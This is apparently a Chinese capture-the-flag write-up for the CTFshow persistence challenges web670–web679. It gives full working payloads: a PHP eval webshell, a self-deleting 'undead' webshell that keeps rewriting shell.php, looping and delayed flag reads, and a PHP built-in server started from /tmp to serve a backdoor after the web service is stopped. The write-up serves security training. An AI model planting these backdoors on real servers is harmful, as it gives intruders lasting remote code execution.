CTFshow 权限维持 web670【】
补充一下PHP中单双引号的区别:
单引号和双引号之间最显着的区别在于我们插入字符串和变量时。单引号不插入字符串和变量。**单引号内的内容会按原样打印出来。**在大多数情况下,单引号内没有任何变量或转义序列的编译。
但是,在双引号的情况下,写在引号内的变量将被插入字符串。这意味着将评估字符串中的变量。因此,在插入字符串和变量时很容易使用双引号。双引号优于单引号的优点是我们不需要使用.
运算符连接字符串和变量。但是,由于需要在字符串中计算变量,因此使用双引号会比使用单引号稍微慢一些。
通俗一点说,双引号内的内容更加“智能”一点,如转义符
、$_POST[1]
只有在双引号内才会被解析
题目说明:想办法维持权限,确定无误后提交check,通过check后,才会生成flag,此前flag不存在。
首先执行ls
等命令查看目录
GET:?action=cmd
POST:cmd=system('ls /');
当前目录下只有一个index.php
文件,根目录下确实没有flag。
然后phpinfo
简单看看PHP配置。无禁用函数。
尝试写一个一句话马到当前目录(就是web目录)下的7.php
文件中。
GET:?action=cmd
POST:cmd=file_put_contents('7.php', '<?php @eval($_POST[1]);?>');
发现这里PHP是有文件写入权限的。(写马不要用双引号,一开始踩坑了,单引号原样输出到木马文件中)
补充一个踩坑时候找到的知识点:short_open_tag=Off
不允许使用代码开始标志的缩写形式(<? ?> )。
此外,执行check之后,会发现当前目录下所有文件都被删了。。。所以题目归为权限维持。
GET:?action=check
羽师傅猜测check后执行:
echo 'flag{xxxx}' > /flag_xx.txt
rm -rf *
(重开环境)以此猜测为基础,维持权限的方法有三。
方法一:
利用rm -rf *
的小缺陷,它无法删除点号开头的文件,所以可以写木马到.7.php
文件,check后不会被删除。
GET:?action=cmd
POST:cmd=file_put_contents('.shell.php', '<?php @eval($_POST[1]);?>');
emmm,但是貌似写不进去。
方法二:
可以使用不死马将木马写入内存。
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = 'shell.php';
$code = '<?php @eval($_POST[1]);?>';
while (1) {
file_put_contents($file, $code);
usleep(5000);
}
?>
解释一下不死马(内存马):
set_time_limit()函数:设置允许脚本运行的时间,单位为秒(如果设置该运行时间,sleep()函数在执行程序时的持续时间将会被忽略掉)
ignore_user_abort()函数:函数设置与客户机断开是否会终止脚本的执行(如果设置为True或者1,则忽略与用户的断开)
unlink(FILE)函数:删除文件(防止文件落地被检测工具查杀)
file_put_contents函数:将一个字符串写入该文件中
usleep函数:延迟执行当前脚本数微秒,即条件竞争
payload:
GET:?action=cmd
POST:cmd=file_put_contents('17.php', '<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'shell.php\';$code = \'<?php @eval($_POST[1]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');
访问该不死马17.php
后(访问时会一直加载,第二次访问就404找不到了),再触发check,然后就可以在shell.php
执行命令拿flag了。
方法三:
如果题目出网的话可以使用反弹shell。
不过题目是不出网的,所以这种方法无法使用。
CTFshow 权限维持 web671
看起来和web670没什么区别。
payload:
GET:?action=cmd
POST:cmd=file_put_contents('17.php', '<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'shell.php\';$code = \'<?php @eval($_POST[1]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');
访问该不死马17.php
后(访问时会一直加载,第二次访问就404找不到了),再触发check,然后就可以在shell.php
执行命令拿flag了。
唯一的区别就是,flag文件在根目录。
CTFshow 权限维持 web672
看起来还是和web670没什么区别。
payload:
GET:?action=cmd
POST:cmd=file_put_contents('17.php', '<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'shell.php\';$code = \'<?php @eval($_POST[1]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');
访问该不死马17.php
后(访问时会一直加载,第二次访问就404找不到了),再触发check,然后就可以在shell.php
执行命令拿flag了。
和web671没区别。
CTFshow 权限维持 web673
看起来还是和web670没什么区别。
payload:
GET:?action=cmd
POST:cmd=file_put_contents('17.php', '<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'shell.php\';$code = \'<?php @eval($_POST[1]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');
访问该不死马17.php
后(访问时会一直加载,第二次访问就404找不到了),再触发check,然后就可以在shell.php
执行命令拿flag了。
和web671没区别。
CTFshow 权限维持 web674
看起来还是和web670没什么区别。
payload:
GET:?action=cmd
POST:cmd=file_put_contents('17.php', '<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'shell.php\';$code = \'<?php @eval($_POST[1]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');
访问该不死马17.php
后(访问时会一直加载,第二次访问就404找不到了),再触发check,然后就可以在shell.php
执行命令拿flag了。
和web671没区别。
CTFshow 权限维持 web675
看起来还是和web670没什么区别。
payload:
GET:?action=cmd
POST:cmd=file_put_contents('17.php', '<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'shell.php\';$code = \'<?php @eval($_POST[1]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');
访问该不死马17.php
后(访问时会一直加载,第二次访问就404找不到了),再触发check,然后就可以在shell.php
执行命令拿flag了。
和web671没区别。
CTFshow 权限维持 web676
看起来还是和web670没什么区别。
payload:
GET:?action=cmd
POST:cmd=file_put_contents('17.php', '<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'shell.php\';$code = \'<?php @eval($_POST[1]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');
访问该不死马17.php
后(访问时会一直加载,第二次访问就404找不到了),再触发check,然后就可以在shell.php
执行命令拿flag了。
CTFshow 权限维持 web677【】
看起来还是和web670没什么区别。(只是看起来,这次是真有区别了)
用以前的payload试试:
GET:?action=cmd
POST:cmd=file_put_contents('17.php', '<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'shell.php\';$code = \'<?php @eval($_POST[1]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');
查看一下当前目录,发现并没有成功写入文件。这题应该是没有了写入文件权限(PHP存放临时文件的临时目录/tmp
除外)
写不了文件就得换一种方法了。羽师傅的payload:
GET:?action=cmd
POST:cmd=system('while true;do cat /f*;done');
while true;do cat /tmp/f*;done
是shell脚本的语法,满足条件(true)时,执行cat /f*
命令。
shell脚本之十:while循环及应用实践 - cuiyongchao007 - 博客园 (cnblogs.com)
执行后,然后直接check。
可能需要等一会才能出flag,要耐心哦~(要不然就会像我一样卡了两天…)
同一原理,check会删掉所有文件但是不会杀掉进程,那就我们可以使用延时的方法读取/flag
文件。
GET:?action=cmd
POST:cmd=system('sleep 10;cat /f*');
check后等一会flag就出来了。
CTFshow 权限维持 web678
同web677。
CTFshow 权限维持 web679【】
题目描述:check后,会停止一切web服务,包括nginx php-fpm,天地同寿的打法,你能应付吗
源码还是一样。
如果check之后会关了web服务的话,无论是写了文件还是一直在执行cat /f*
命令都会失效,因为都没web服务了,客户端根本连接不到服务端,无法进行操作。
大佬们的思路是启动php内置服务器,类似于python能开启http服务一样。
由于是www-data权限,⽆法直接启动nginx和php-fpm,但是可以启动php内置服务器php -S 0.0.0.0:80
,运行命令的根目录就被当成web服务根目录。
payload:
GET:?action=cmd
POST:
cmd=file_put_contents("/tmp/index.php","<?php eval(\$_POST[1]);?>");system("cd /tmp;sleep 10;php -S 0.0.0.0:80 -t /tmp/");
//这里要用双引号,$_POST[1]由于$被转义了,所以原样输出
或者
cmd=system('cd /tmp;echo "<?php eval(\$_POST[1]);?>" > index.php;sleep 10;php -S 0.0.0.0:80');
把木马写入可写目录/tmp
下的index.php
(默认的索引文件,访问时无需像访问同目录下1.php一样加上文件名,访问index.php是直接url/
,访问1.php是访问url/1.php
)中,然后睡十秒,在/tmp
目录下开启php内置服务器。
十秒是给我们的反应时间(点check时间)。流程是执行命令后,木马已经写入。然后睡十秒,期间我们check生成,期间命令仍然执行尽管已经关了web服务(因为只是web服务关了,外界访问不到,但是服务器内部php语言环境还在)。十秒结束后php内置服务开启,我们就可以使用木马执行命令。
权限维持结束收工!
参考文章如下:
CTFSHOW权限维持篇_yu22x的博客-CSDN博客
【ctfshow】web入门-权限维持 - lewiserii’s blog
内网渗透之权限维持 - anoldcat - 博客园 (cnblogs.com)
权限维持及后门持久化技巧总结 - FreeBuf网络安全行业门户